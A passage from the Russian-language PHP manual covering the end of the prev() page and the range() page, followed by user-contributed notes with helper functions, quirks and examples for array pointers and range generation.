7.4.0 | Экземпляры классов библиотеки SPL теперь обрабатываются как пустые объекты, у которых нет свойств, вместо вызова метода интерфейса Iterator с тем же именем, что и у этой функция.

Примеры

Пример #1 Пример использования функции prev() и дружественных функций

<?php

$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = next($transport); // $mode = 'car';
$mode = prev($transport); // $mode = 'bike';
$mode = end($transport); // $mode = 'plane';

?>

Примечания

Замечание: Начало массива неотличимо от элемента с логическим (bool) значением false. Чтобы отличить, нужно проверить, что возвращаемый функцией key() ключ предыдущего элемента, как его определяет функция prev(), не равен значению null.

Смотрите также

  • current() - Возвращает текущий элемент массива
  • end() - Устанавливает внутренний указатель массива на последний элемент
  • next() - Сдвигает внутренний указатель массива на одну позицию вперёд
  • reset() - Устанавливает внутренний указатель массива на первый элемент
  • each() - Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд

User Contributed Notes

Mikhail 05-Sep-2019 02:56
Function to get element in array, that goes previous your key or false if it not exeists or key doesn't isset in array.

<?php

function previousElement(array $array, $currentKey)
{
    if (!isset($array[$currentKey])) {
        return false;
    }
    end($array);
    do {
        $key = array_search(current($array), $array);
        $previousElement = prev($array);
    }
    while ($key != $currentKey);

    return $previousElement;
}
MicroVB INC 31-Mar-2014 05:09
Some corrections to the previous function.
- When prev() and next() distance is now calculated properly returning the 'closer' one.
- When exact is false, and an item exists with the key searched for, it now returns that entry instead of next/prev closest
- At ends of the array, sometimes when moving past using next() or prev(), it caused results to die. This was corrected.
- Added field to result stating whether the match was 'exact' ('exact'=>true), or nearest ('exact'=>false)

<?php
function nearest($array, $value, $exact=false) {
    // Initialize Variables
    $next = false;
    $prev = false;
    $return = false;

    $arr_begin = false;
    $arr_end = false;

    $exact_match = false;

    if($exact && isset($array[$value])) {
        // If exact match found, and searching for exact (not nearest), return result.
        $return = Array($value=>$array[$value]);
        $exact_match = true;
    } elseif (!$exact && isset($array[$value])) {
        // If exact match found, and searching for nearest, return result.
        $return = Array($value=>$array[$value]);
        $exact_match = true;
    } else {

        if(!isset($array[$value]) && !$exact) {
            // Insert element that doesn't exist so nearest can be found
            $array[$value] = '-';
        }

        // Sort array so injected record is near relative numerics
        ksort($array); // Sort array on key

        // Set start and end keys
        $arr_begin = key($array);
        end($array);
        $arr_end = key($array);
        reset($array);

        // Loop through array until match is found, then set $prev and $next to the respective keys if exist
        while ( !is_null($key = key($array)) ) {
            $val = current($array);
            if($key == $value) {
                if($value <> $arr_begin) {
                    prev($array); // Get entry before this one
                    $prev = key($array);
                }

                next($array);         // Skip current entry as this was what we were looking for nearest to

                if($value <> $arr_end) {
                    next($array); // Get entry after this one
                    $next = key($array);
                }
                break;
            }
            next($array);
        }

        if($prev && $next) {
            if(($value - $prev) < ($next - $value)) {
                // Previous is closer
                $return = Array($prev=>$array[$prev]);
            } else {
                // Next is closer
                $return = Array($next=>$array[$next]);
            }
        } elseif ($prev || $next) {
            if($prev) {
                // Only Previous exists
                $return = Array($prev=>$array[$prev]);
            } elseif ($next) {
                // Only Next exists
                $return = Array($next=>$array[$next]);
            }
        }
    }

    // Return resulting Array().   $return is false if nothing matches the closest conditions, or if exact is specified and key does not exist.
    if($return) {
        return $return+Array('exact'=>$exact_match);
    } else {
        return false;
    }
}
?>

Just to clarify, this function will return either an Array() containing the $key=>$value pair of the result and 'exact'=>(bool) whether the match was exact or not.

To access the $key=>$value pair, can be done as follows :
<?php

    $result = nearest( ... );  // Just here for clarification of the position for the code that follows.

    if($result) {
        // Output the Key
        echo key($result);

        // Output the Value
        echo $result( key($result) );

        // Output if exact match
        if($result['exact']) {
            echo 'This was an EXACT match';
        } else {
            echo 'This result was found with fuzzy logic';
        }

    } else {

        echo 'No result found';

    }

?>
MicroVB INC 31-Mar-2014 01:17
This function searches for the closest element in an array by key value, and returns the key/value pair, or false if not found.

<?php
function nearest($array, $value, $exact=false) {
        // Initialize Variables
    $next = false;
    $prev = false;
    $return = false;

    if(!isset($array[$value]) && !$exact) {
        // Insert element that doesn't exist so nearest can be found
        $array[$value] = '-';
    }

    if($exact && isset($array[$value])) {
                // If exact match found, and searching for exact (not nearest), return result.
        $return = Array($value=>$array[$value]);
    } else {
            // Sort array so injected record is near relative numerics
        ksort($array); // Sort array on key

                // Loop through array until match is found, then set $prev and $next to the respective keys if exist
        while ( !is_null($key = key($array)) ) {
            $val = current($array);
            if($key == $value) {
                prev($array); // Get entry before this one
                $prev = key($array);
                next($array);         // Skip current entry as this was what we were looking for nearest to
                next($array); // Get entry after this one
                $next = key($array);
                break;
            }
            next($array);
        }

        if($prev && $next) {
            if(($long - $prev) > ($next - $long)) {
                                 // Previous is closer
                $return = Array($prev=>$array[$prev]);
            } else {
                                 // Next is closer
                $return = Array($next=>$array[$next]);
            }
        } elseif ($prev || $next) {
            if($prev) {
                                 // Only Previous exists
                $return = Array($prev=>$array[$prev]);
            } elseif ($next) {
                                 // Only Next exists
                $return = Array($next=>$array[$next]);
            }
        }
    }

        // Return resulting Array().   $return is false if nothing matches the closest conditions, or if exact is specified and key does not exist.
    return $return;
}
?>

Example usage (to lookup the closest color in an array)
<?php
$mycolors= Array(
    5001046=>'Abbey',
    1774596=>'Acadia',
    8171681=>'Acapulco',
    6970651=>'Acorn',
    13238245=>'Aero Blue',
    7423635=>'Affair',
    8803850=>'Afghan Tan',
    13943976=>'Akaroa',
    16777215=>'Alabaster',
    16116179=>'Albescent White',
    10176259=>'Alert Tan',
    30371=>'Allports'
);

// Color to search for in Hex
$color = 'C0C0C0';

// Convert Hex to Long to compare with array() keys
$colorlong = base_convert($color,16,10);

// Check for an exact match
$result = nearest($mycolors, $colorlong, true);
if($result) {
    echo "An exact match was found for #" . $color . " which is called '" . $result[key($result)] . "'";
} else {
    echo "No exact match was found";
}

if(!$result) {
    // Check for closest match
    $result = nearest($mycolors, $colorlong, true);
    if($result) {
        // Match found
        echo "The closest match for #" . $color . " is #" . base_convert(key($result),10,16) . " which is called '" . $result[key($result)] . "'";
    } else {
        // No match found
        echo "No match was found for #" . $color;
    }
}
?>
soapergem at gmail dot com 29-May-2009 12:06
Here's a slight revision to xmlich02's backwards iteration example. The problem with his/her example is that it will halt if any of the array elements are boolean false, while this version will not.

<?php

end($ar);
while ( !is_null($key = key($ar)) ) {
    $val = current($ar);
    echo "{$key} => {$val}\n";
    prev($ar);
}

?>


Создаёт массив, содержащий диапазон элементов

  • « prev
  • reset »
  • PHP Manual
  • Функции для работы с массивами
  • Создаёт массив, содержащий диапазон элементов

range

(PHP 4, PHP 5, PHP 7, PHP 8)

range — Создаёт массив, содержащий диапазон элементов

Описание

range(string|int|float $start, string|int|float $end, int|float $step = 1): array

Создаёт массив, содержащий диапазон элементов.

Если оба параметра — start и end — будут строками (string), а параметр step — числом (int), то созданный массив будет последовательностью байтов. В других случаях созданный массив будет последовательностью чисел.

Последовательность будет возрастать, если значение параметра start меньше или равно значению параметра end. В противном случае последовательность будет убывать.

Список параметров

start

Первое значение последовательности.

end

Последнее значение последовательности.

step

Параметр step определяет, на сколько будут изменяться значения в создаваемой последовательности.

В параметр step можно передавать отрицательное значение, если нужно создать убывающую последовательность.

Если значение параметра step будет числом с плавающей точкой (float) без дробной части, то оно будет интерпретировано как целое число (int).

Возвращаемые значения

Возвращает последовательность элементов в виде массива (array), в котором первый элемент получает значение параметра start, а последний — параметра end, в которой каждое значение последовательности отстаёт от другого на указанное в параметре step количество шагов.

Последний элемент возвращённого массива будет равен либо значению параметра end, либо предыдущему значению последовательности, в зависимости от значения параметра step.

Если оба параметра — start и end — будут строками (string), а параметр step — числом (int), то созданный массив будет последовательностью байтов, обычно латинских символов в кодировке ASCII.

Если хотя бы одно из значений параметров start, end, или step будет числом с плавающей точкой (float), созданный массив будет последовательностью значений float.

В противном случае созданный массив будет последовательностью целых чисел (int).

Ошибки

  • Если значение параметра step будет равно 0, будет выброшено исключение ValueError.
  • Если значение хотя бы одного из параметров start, end, или step окажется недопустимым конечным числом, как его определяет функция is_finite(), будет выброшено исключение ValueError.
  • Если значение параметра step будет отрицательным при создании возрастающей последовательности (т. е. $start <= $end), будет выброшено исключение ValueError.
  • Если значение хотя бы одного из параметров start или end будет пустой строкой (''), это приведёт к ошибке уровня E_WARNING, а пустая строка будет интерпретирована как целое число 0.
  • Если значение хотя бы одного из параметров start или end окажется нечисловой строкой размером более одного байта, будет сгенерирована ошибка уровня E_WARNING.
  • Если значение хотя бы одного из параметров start или end окажется строкой, которая неявно приводится к целому числу (int) из-за того, что другое значение — число, возникнет ошибка уровня E_WARNING.
  • Если значение хотя бы одного из параметров step будет числом с плавающей точкой (float), а значение параметров start и end окажется нечисловой строкой, будет сгенерирована ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.3.0 | Если значения обоих параметров — start и end — окажутся строками, то теперь функция range() всегда будет создавать массив (array) байтов. Ранее, если один из символов в строке был числом, другие символы неявно приводились к числу (int).
8.3.0 | Теперь появляется ошибка уровня E_WARNING, если значение хотя бы одного из параметров start или end оказывается строкой, которая неявно приводится к целому числу (int) из-за наличия в ней числовых символов.
8.3.0 | Теперь появляется ошибка уровня E_WARNING, если значение хотя бы одного из параметров start или end оказывается нечисловой строкой с размером более одного байта.
8.3.0 | Теперь появляется ошибка уровня E_WARNING, если значение хотя бы одного из параметров start или end оказывается пустой строкой.
8.3.0 | Если значение параметра step окажется числом с плавающей точкой (float) без дробной части, оно будет интерпретировано как целое число (int).
8.3.0 | Теперь выбрасывается исключение ValueError, если при создании восходящей последовательности значение параметра step оказывается отрицательным числом.
8.3.0 | Теперь выбрасывается исключение ValueError, если значение параметра step не является допустимым конечным числом.
8.3.0 | Теперь выбрасывается исключение TypeError, если значение хотя бы одного из параметров start или end окажется массивом (array), объектом (object) или ресурсом (resource). Ранее они неявно приводились к целому числу (int).

Примеры

Пример #1 Примеры использования range()

<?php
echo implode(', ', range(0, 12)), PHP_EOL;

echo implode(', ', range(0, 100, 10)), PHP_EOL;

echo implode(', ', range('a', 'i')), PHP_EOL;

echo implode(', ', range('c', 'a')), PHP_EOL;

echo implode(', ', range('A', 'z')), PHP_EOL;
?>

Результат выполнения приведённого примера:

0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12
0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100
a, b, c, d, e, f, g, h, i
c, b, a
A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, [, \, ], ^, _, `, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z

Смотрите также

  • shuffle() - Перемешивает массив
  • array_fill() - Заполняет массив значениями
  • foreach

User Contributed Notes

VivienG 15-Sep-2023 12:25
They forgot to say something.
If the ending value not encounter the last sequence, the function return false.
In other words :
Given a int $n, if ( $start + $n * $step ) < $end and  ( $start + ( $n + 1 ) * $step ) > $end, the function doen't give the maximum possible range, it returns a boolean.
So the last range number HAVE TO BE the end number.
mohammed dot hussein dot mahmoud at gmail dot com 04-Jan-2022 06:47
You could use negative numbers in place of the `step` parameter. You need to make sure that the `start` is bigger than `end`. Note that range() function in php generates the range inclusive, i.e. it also includes the `end` parameter and not just up to it but not including it like most other languages.
The following snippet of code should explain what I mean about negative steps:

<?php

// 100, 90, 80, 70, 60, 50, 40, 30, 20, 10, 0
print_r(range(100, 0, -10));

?>

What happens basically is that the range function does not really care about what is bigger or smaller, it just adds the step to the start and appends that to the a temp result variable as long as it did not reach the end param value. In this case, adding negative numbers is like minus (computers do that for 2's complement under the hood.) This will cause the number to go from 100 to 90 and then the function will check if 90 reached 0 yet. Since it wouldn't have done that, it will keep adding -step (-10 in that case) to the latest result (i.e. 90) and so on and so forth.

Since range() is said to be better and faster than array_fill() I believe it was important for me to try it out and actually post this note on the official documentation just to make sure people can use this.
ccb_bc at hotmail dot com 10-Jun-2019 05:45
<?php
    function natural_prime_numbers(array $range, bool $print_info = false) : array {
        $start_time = time();
        $primes_numbers = array();
        $print = '';
        $count_range  = count($range);
        foreach($range as $number){
            $values_division_number = array();
            if($number === 0 || $number === 1 || !is_int($number)){ // eliminate 0, 1 and other no integer
                continue;
            }
            if($number != 2 && $number%2 === 0){ // eliminate 2 and pairs numbers
                continue;
            }
            for($i = 1; $i <= $number; $i++){
                $resultado_divisao = $number / $i;
                $values_division_number[$i] = $resultado_divisao;

                if($count_range <= 20){ // $count_range <= 20 (+ performance)
                    $print .= PHP_EOL;
                    $info = 'The number '.$number.' divided by the number '.$i.' is equal to: '.($number / $i);
                    $print .= $info;
                    if($i === $number){
                        $print .= PHP_EOL;
                    }
                }

                array_walk($values_division_number, function($value, $index) use (&$values_division_number, &$number){ // reference change values
                    // eliminate floats and others numbers not are equal 1 and own number
                    if(is_float($value) && $value != $number && $value > 1){
                        unset($values_division_number[$index]);
                    }
                });

                $values_division_number = array_values($values_division_number); // reindex array

                // here we want only array with 2 indexes with the values 1 and own number (rule to a natural prime number)
                if(count($values_division_number) === 2 && $values_division_number[0] === $number && $values_division_number[1] === 1){
                    $primes_numbers[$number] = $number;
                }

            }
        }
        return array(
            'length_prime_numbers' => count($primes_numbers),
            'prime_numbers' => array_values($primes_numbers),
            'print' => $print,
            'total_time_processing' => (time() - $start_time).' seconds.',
        );
    }
    var_dump(natural_prime_numbers(range(0, 11))); // here the range() function ;-)

    // Result:
    // array (size=3)
    //   'length_prime_numbers' => int 5
    //   'prime_numbers' =>
    //     array (size=5)
    //       0 => int 2
    //       1 => int 3
    //       2 => int 5
    //       3 => int 7
    //       4 => int 11
    //   'print' => string '
    // O numero 2 dividido pelo numero 1 e igual a: 2
    // O numero 2 dividido pelo numero 2 e igual a: 1

    // O numero 3 dividido pelo numero 1 e igual a: 3
    // O numero 3 dividido pelo numero 2 e igual a: 1.5
    // O numero 3 dividido pelo numero 3 e igual a: 1

    // O numero 5 dividido pelo numero 1 e igual a: 5
    // O numero 5 dividido pelo numero 2 e igual a: 2.5
    // O numero 5 dividido pelo numero 3 e igual a: 1.6666666666667
    // O numero 5 dividido pelo numero 4 e igual a: 1.25
    // O numero 5 dividido pelo '...

    // **************************** //
    //
    // * Remember that the function is recursive, that is: a range of 5000 takes more than 1 minute on a processor Intel® Core™ i5-8250U (3.40 GHz).
    //
    // **************************** //
?>
luca.favorido ATgmailDOT com 28-Jun-2016 07:58
The function "range" is very useful to get an array of characters as range('C','R') does.

At work, I had to extend the function range($a,$b) to work in this special case: with two uppercase strings $a and $b, it should return all the possible strings between $a and $b.
This could be used for example to get the excel column indexes.
e.g. <?php range('A','AD') ==> array('A','B','C',...,'Z','AA','AB','AC','AD') ?>

So I wrote the function getrange($min,$max) that exactly does this.

<?php

function getcolumnrange($min,$max){
      $pointer=strtoupper($min);
      $output=array();
      while(positionalcomparison($pointer,strtoupper($max))<=0){
         array_push($output,$pointer);
         $pointer++;
      }
      return $output;
}

function positionalcomparison($a,$b){
   $a1=stringtointvalue($a); $b1=stringtointvalue($b);
   if($a1>$b1)return 1;
   else if($a1<$b1)return -1;
   else return 0;
}

/*
* e.g. A=1 - B=2 - Z=26 - AA=27 - CZ=104 - DA=105 - ZZ=702 - AAA=703
*/
function stringtointvalue($str){
   $amount=0;
   $strarra=array_reverse(str_split($str));

   for($i=0;$i<strlen($str);$i++){
      $amount+=(ord($strarra[$i])-64)*pow(26,$i);
   }
   return $amount;
}
?>
qz 19-Jan-2016 11:58
If you're looking to fill an array to get a hash with 0-9 numerical values, using
range(0,9);
is a faster solution compared to
array_fill(0, 10, '');
moficer at host dot sk 15-Jan-2016 03:17
php 5.6.16

<?php
var_export(range('Z', 'a'));

/*
array (
  0 => 'Z',
  1 => '[',
  2 => '\\',
  3 => ']',
  4 => '^',
  5 => '_',
  6 => '`',
  7 => 'a',
)
 */
Alien426 29-Oct-2015 02:09
The function will generate an array of integers even if your numerical parameters are enclosed in quotes.
<?php
var_dump( range('1', '2') ); // outputs  array(2) { [0]=> int(1) [1]=> int(2) }
?>

An easy way to get an array of strings is to map strval() to the range:
<?php
var_dump( array_map('strval', range('1', '2')) ); // outputs  array(2) { [0]=> string(1) "1" [1]=> string(1) "2" }
?>
unicod3 at hotmail dot com 15-Oct-2014 05:43
a function to get column index by letter

function getColumnNumber($char){
    $alphabet = range('a','z');
    $alphabet2 = range('a','z');
    $newAlphabet = $alphabet;
    foreach($alphabet as $k => $r)
    {
        foreach($alphabet2 as $row){
            $newAlphabet[] = $r.$row;
        }
    }
    $key = array_search($char, $newAlphabet);
    return ($key !== false) ? $key : null;
}
lsblsb at gmx dot de 30-Apr-2014 03:09
I needed a function, that creates a letter range with arbitrary length.
You specify via the $length parameter, how many entries you need.
Logic is analog to the logic of the column-titles in a calc-sheet.

<?php

/**
  * create a letter range with arbitrary length
  * @param int $length
  * @return array
  */
function createLetterRange($length)
{
    $range = array();
    $letters = range('A', 'Z');
    for($i=0; $i<$length; $i++)
    {
        $position = $i*26;
        foreach($letters as $ii => $letter)
        {
            $position++;
            if($position <= $length)
                $range[] = ($position > 26 ? $range[$i-1] : '').$letter;
        }
    }
    return $range;
}
?>
php at keith tyler dot com 26-Feb-2014 10:22
So with the introduction of single-character ranges to the range() function, the internal function tries to be "smart", and (I am inferring from behavior here) apparently checks the type of the incoming values. If one is numeric, including numeric string, then the other is treated as numeric; if it is a non-numeric string, it is treated as zero.

But.

If you pass in a numeric string in such a way that is is forced to be recognized as type string and not type numeric, range() will function quite differently.

Compare:

<?php
echo implode("",range(9,"Q"));
// prints 9876543210

echo implode("",range("9 ","Q"));  //space after the 9
// prints 9:;<=>?@ABCDEFGHIJKLMNOPQ

echo implode("",range("q","9 "));
// prints qponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:987654
?>

I wouldn't call this a bug, because IMO it is even more useful than the stock usage of the function.
jazzduck AT gmail DOT com 21-Jan-2014 08:32
Despite the line above that says that the $step value should be "given as a positive number," the range() function will in fact correctly handle reversed (decrementing) ranges. For example:

<?php print_r( range( 24, 20 ) ); ?>
Array
(
    [0] => 24
    [1] => 23
    [2] => 22
    [3] => 21
    [4] => 20
)

<?php print_r( range( 20, 11, -3 ) ); ?>
Array
(
    [0] => 20
    [1] => 17
    [2] => 14
    [3] => 11
)

It will actually ignore the sign of the $step argument, and determine whether to increment or decrement based purely on whether $start > $end or $end > $start. For example:

<?php print_r( range( 20, 11, 3 ) ); ?>
Array
(
    [0] => 20
    [1] => 17
    [2] => 14
    [3] => 11
)

<?php print_r( range( 11, 20, -3 ) ); ?>
Array
(
    [0] => 11
    [1] => 14
    [2] => 17
    [3] => 20
)
pyetrosafe at gmail dot com 27-Sep-2013 01:36
To create a simple array or a multidimensional array with defined size and null values??, use this expression:

<?php

$SimpleArray = array_map(function($n) { return null; }, range(1, 3) );
$MultiArray = array_map(function($n) { return array_map(function($n) { return null; }, range(1, 2) ); }, range(1, 3) );

var_dump($SimpleArray);
var_dump($MultiArray);

// And will print:
?>
>>$SimpleArray
array(3) {
  [0]=>  NULL
  [1]=>  NULL
  [2]=>  NULL
}

>>$MultiArray
array(3) {
  [0]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
  [1]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
  [2]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
}

?>
krdr dot mft at gmail dot com 19-Aug-2013 09:48
I've been introduced with range() function not so long ago, and I found that examples about it is somewhat wrong, even inefficient:

<?php
$o = "";
$time_start = microtime(true);
foreach(range(1, 10000) as $val) {
    $o .= $val;
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo 'rangein: '.$time.'<br />';

$o = "";
$time_start = microtime(true);
$a = range(1, 10000);
foreach($a as $val) {
    $o .= $val;
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo 'rangeout: '.$time.'<br />';

?>

Which gives results:

rangein: 0.0025348663330078
rangeout: 0.0019199848175049

In some cases difference is even bigger and proportional to the range generated. I suppose that results of range() are cached/hashed.

Note: execution order does affects execution times, but difference still exists
Ray.Paseur often uses Gmail 06-Jun-2013 03:16
Interestingly, these two statements produce identical 26-character alphabet arrays.

<?php
$arr = range('A',  'Z');
$arr = range('AA', 'ZZ');
gtisza at gmail dot com 25-Apr-2013 10:27
You might expect range($n, $n-1) to be an empty array (as in e.g. Python) but actually PHP will assume a step of -1 if start is larger than end.
Palz 29-Oct-2012 10:59
To create a range array like

Array
(
    [11] => 1
    [12] => 2
    [13] => 3
    [14] => 4
)

combine two range arrays using array_combine:

array_combine(range(11,14),range(1,4))
ktamas77 at gmail dot com 03-Aug-2012 10:59
if you need zero padding, string prefixes or any other masks, then a simple combination of array_map, inline functions and sprintf is your friend.

<?php

$a = array_map(function($n) { return sprintf('sample_%03d', $n); }, range(50, 59) );

print_r($a);

?>

Will result:

Array
(
    [0] => sample_050
    [1] => sample_051
    [2] => sample_052
    [3] => sample_053
    [4] => sample_054
    [5] => sample_055
    [6] => sample_056
    [7] => sample_057
    [8] => sample_058
    [9] => sample_059
)
me at phpscott dot com 23-May-2012 05:37
So, I needed a quick and dirty way to create a dropdown select for hours, minutes and seconds using 2 digit formatting, and to create those arrays of data, I combined range with array merge..

<?php
$prepend = array('00','01','02','03','04','05','06','07','08','09');
$hours     = array_merge($prepend,range(10, 23));
$minutes     = array_merge($prepend,range(10, 59));
$seconds     = $minutes;
?>

Super simple.
dries at volta dot be 09-Feb-2012 11:30
Ever wanted to generate an array with a range of column names for use in Excel file related parsing?
I've wrote a function that starts at the A column and adds column names up until the column you specified.

<?php

/**
 * This function creates an array with column names up until the column
 * you specified.
*/
function createColumnsArray($end_column, $first_letters = '')
{
  $columns = array();
  $length = strlen($end_column);
  $letters = range('A', 'Z');

  // Iterate over 26 letters.
  foreach ($letters as $letter) {
      // Paste the $first_letters before the next.
      $column = $first_letters . $letter;

      // Add the column to the final array.
      $columns[] = $column;

      // If it was the end column that was added, return the columns.
      if ($column == $end_column)
          return $columns;
  }

  // Add the column children.
  foreach ($columns as $column) {
      // Don't itterate if the $end_column was already set in a previous itteration.
      // Stop iterating if you've reached the maximum character length.
      if (!in_array($end_column, $columns) && strlen($column) < $length) {
          $new_columns = createColumnsArray($end_column, $column);
          // Merge the new columns which were created with the final columns array.
          $columns = array_merge($columns, $new_columns);
      }
  }

  return $columns;
}

?>

Usage:

<?php

// Return an array with all column names from A until and with BI.
createColumnsArray('BI');

?>
Aram Kocharyan 27-Feb-2011 07:58
Here's a function to generate ranges from strings:

<?php

/*  Creates an array of integers based on a given range string of format "int - int"
    Eg. range_str('2 - 5'); */
function range_str($str) {
    preg_match('#(\\d+)\\s*-\\s*(\\d+)#', $str, $matches);
    if ( count($matches) == 3 ) {
        return range($matches[1], $matches[2]);
    }
    return FALSE;
}

// Test
$array = range_str(' 2 - 4 ');
print_r($array);

?>

This outputs:

Array
(
    [0] => 2
    [1] => 3
    [2] => 4
)
jay at NOspam dot myd3 dot com 29-Apr-2009 05:54
This is a modified version of thomas' range_string() function. It's simpler, cleaner, and more robust, but it lacks the advanced features his function had, hopefully it will be of assitance to someone.

Examples:

    input: "1, 2, 3, 4, 5, 6" --> output: 1, 2, 3, 4, 5, 6
    input: "1-6" --> output: 1, 2, 3, 4, 5, 6
    input: "1-6" --> output: 1, 2, 3, 4, 5, 6
    input: "1 - -6" --> output: 1, 2, 3, 4, 5, 6
    input: "0 - 0" --> output: 0
    input: "1, 4-6, 2" --> output: 1, 2, 4, 5, 6
    input: "6,3-1" --> output: 1, 2, 3, 6

<?php

define('RANGE_ARRAY_SORT', 1);
define('RANGE_ARRAY', 2);
define('RANGE_STRING_SORT', 3);
define('RANGE_STRING', 4);

function range_string($range_str, $output_type = RANGE_ARRAY_SORT)
{
    // Remove spaces and nother non-essential characters
    $find[]    = "/[^\d,\-]/";
    $replace[] = "";

    // Remove duplicate hyphens
    $find[]    = "/\-+/";
    $replace[] = "-";

    // Remove duplicate commas
    $find[]    = "/\,+/";
    $replace[] = ",";

    $range_str = preg_replace($find, $replace, $range_str);

    // Remove any commas or hypens from the end of the string
    $range_str = trim($range_str,",-");

    $range_out = array();
    $ranges    = explode(",", $range_str);

    foreach($ranges as $range)
    {

        if(is_numeric($range) || strlen($range) == 1)
        {
            // Just a number; add it to the list.
            $range_out[] = (int) $range;
        }
        else if(is_string($range))
        {

            // Is probably a range of values.
           $range_exp = preg_split("/(\D)/",$range,-1,PREG_SPLIT_DELIM_CAPTURE);

            $start = $range_exp[0];
            $end   = $range_exp[2];

            if($start > $end)
            {
                for($i = $start; $i >= $end; $i -= 1)
                {
                    $range_out[] = (int) $i;
                }
            }
            else
            {
                for($i = $start; $i <= $end; $i += 1)
                {
                    $range_out[] = (int) $i;
                }
            }

        }
    }

    switch ($output_type) {
        case RANGE_ARRAY_SORT:
            $range_out = array_unique($range_out);
            sort($range_out);

        case RANGE_ARRAY:
            return $range_out;
            break;

        case RANGE_STRING_SORT:
            $range_out = array_unique($range_out);
            sort($range_out);

        case RANGE_STRING:

        default:
            return implode(", ", $range_out);
            break;
    }
}

// Sample Usage:
$range = range_string("6, 3-1");

?>
ThinkMedical at Gmail dot com 26-Aug-2008 05:11
foreach(range()) whilst efficiant in other languages, such as python, it is not (compared to a for) in php*.

php is a C-inspired language and thus for is entirely in-keeping with the lanuage aethetic to use it

<?php
//efficiant
for($i = $start; $i < $end; $i+=$step)
{
        //do something with array
}

//inefficiant
foreach(range($start, $end, $step) as $i)
{
        //do something with array
}
?>

That the officiant documentation doesnt mention the for loop is strange.

Note however, that in PHP5 foreach is faster than for when iterating without incrementing a variable.

* My tests using microtime and 100 000 iterations consistently (~10 times) show that for is 4x faster than foreach(range()).
captvanhalen at gmail dot com 27-Mar-2008 10:33
Here is a home rolled range() function that uses the step feature for those unfortunate souls who cannot use PHP5:

<?php
function my_range( $start, $end, $step = 1) {

    $range = array();

    foreach (range( $start, $end ) as $index) {

        if (! (($index - $start) % $step) ) {
            $range[] = $index;
        }
    }

    return $range;
}
?>
chris at laflash dot org 09-May-2007 04:47
Quick HTML menus with minimum and maximum sets of years:

<?php
    /*
    ** Quick HTML menus with minimum and maximum sets of years.
    ** @author Chris Charlton <chris@laflash.org>
    ** @license FREE!
    */

    // Years range setup
    $year_built_min = 1900;
    $year_built_max = date("Y");
?>
<select id="yearBuiltMin" size="1">
    <?php // Generate minimum years

        foreach (range($year_built_min, $year_built_max) as $year) { ?>
        <option value="<?php echo($year); ?>"><?php echo($year); ?></option>
        <?php } ?>
</select>

<select id="yearBuiltMax" size="1">
      <?php // Generate max years

        foreach (range($year_built_max, $year_built_min) as $year) { ?>
        <option value="<?php echo($year); ?>"><?php echo($year); ?></option>
        <?php } ?>
</select>
m0sh3 at hotmail dot com 01-Mar-2007 05:46
Here's how i use it to check if array is associative or not:

<?php

if (array_keys($arr)===range(0, sizeof($arr)-1)) {
// not associative array

} else {
// associative array

}

?>
manuel at levante dot de 07-Nov-2006 05:25
<?php
function srange ($s) {
  preg_match_all("/([0-9]{1,2})-?([0-9]{0,2}) ?,?;?/", $s, $a);
  $n = array ();
  foreach ($a[1] as $k => $v) {
    $n  = array_merge ($n, range ($v, (empty($a[2][$k])?$v:$a[2][$k])));
  }
  return ($n);
}

$s = '1-4 6-7 9-10';
print_r(srange($s));
?>

Return:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 6
    [5] => 7
    [6] => 9
    [7] => 10
)
subscription101 at hotmail dot com 08-Jan-2006 06:36
A much simpler way of creating a range of even numbers is by starting with an even number:

<?php

    range(2, 10, 2);

?>
emory underscore smith at hotmail 20-Aug-2005 07:53
since its not stated explicitly above, thought id point out that you arent limited to using integers.

however, be careful when doing so, as you might not get the range you expect!

to illustrate:

<?php
$am = range(500,1600,10);
$fm = range(88.1,107.9,.2);
print_r($am);
print_r($fm);
?>

print_r($am) yields the expected result:

Array
(
    [0] => 500
    [1] => 510
    [2] => 520
    ...
    [109] => 1590
    [110] => 1600
)

print_r($fm), however, falls a bit (1%) short:

Array
(
    [0] => 88.1
    [1] => 88.3
    [2] => 88.5
    ...
    [97] => 107.5
    [98] => 107.7
)

so, if you want to use a non-integral step size params for numeric ranges, be sure to account for fp representation accuracy and error accumulation; a step size of something like pi or 1/10 could spell disaster for a large range. if in doubt, use integral steps and divide ... something like <?php range(88.1,108,.2) ?> might work to recover 107.9, but would not be scalable like, say <?php array_map(create_function('$x','return $x/10;'),range(881,1079,2)) ?>.

-emory
derek at php dot net 08-May-2005 06:13
This should emulate range() a little better.
<?php
function range_wroar($low, $high, $step = 1) {
    $arr = array();
    $step = (abs($step)>0)?abs($step):1;
    $sign = ($low<=$high)?1:-1;
    if(is_numeric($low) && is_numeric($high)) {
        //numeric sequence
        for ($i = (float)$low; $i*$sign <= $high*$sign; $i += $step*$sign)
            $arr[] = $i;
    }    else    {
        //character sequence
        if (is_numeric($low))
            return $this->range($low, 0, $step);
        if (is_numeric($high))
            return $this->range(0, $high, $step);
        $low = ord($low);
        $high = ord($high);
        for ($i = $low; $i*$sign <= $high*$sign; $i += $step*$sign) {

            $arr[] = chr($i);
        }
    }
    return $arr;
}
?>
j dot gizmo at aon dot at 23-Sep-2004 04:23
i figured i'd add some more functionality to the myRange() functions below.
now you can, besides giving a $step parameter,
1. count backwards
2. count with letters
3. give whatever parameter you want, there's nothing (i know of) that will cause an endless loop (try a negative $step for the previous function....)

<?php
function myRange($num1, $num2, $step=1)
{
    if (is_numeric($num1) && is_numeric($num2))
    {
        //we have a numeric range
        $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
        $dir = ($num1<=$num2 ? 1 : -1); //get the direction
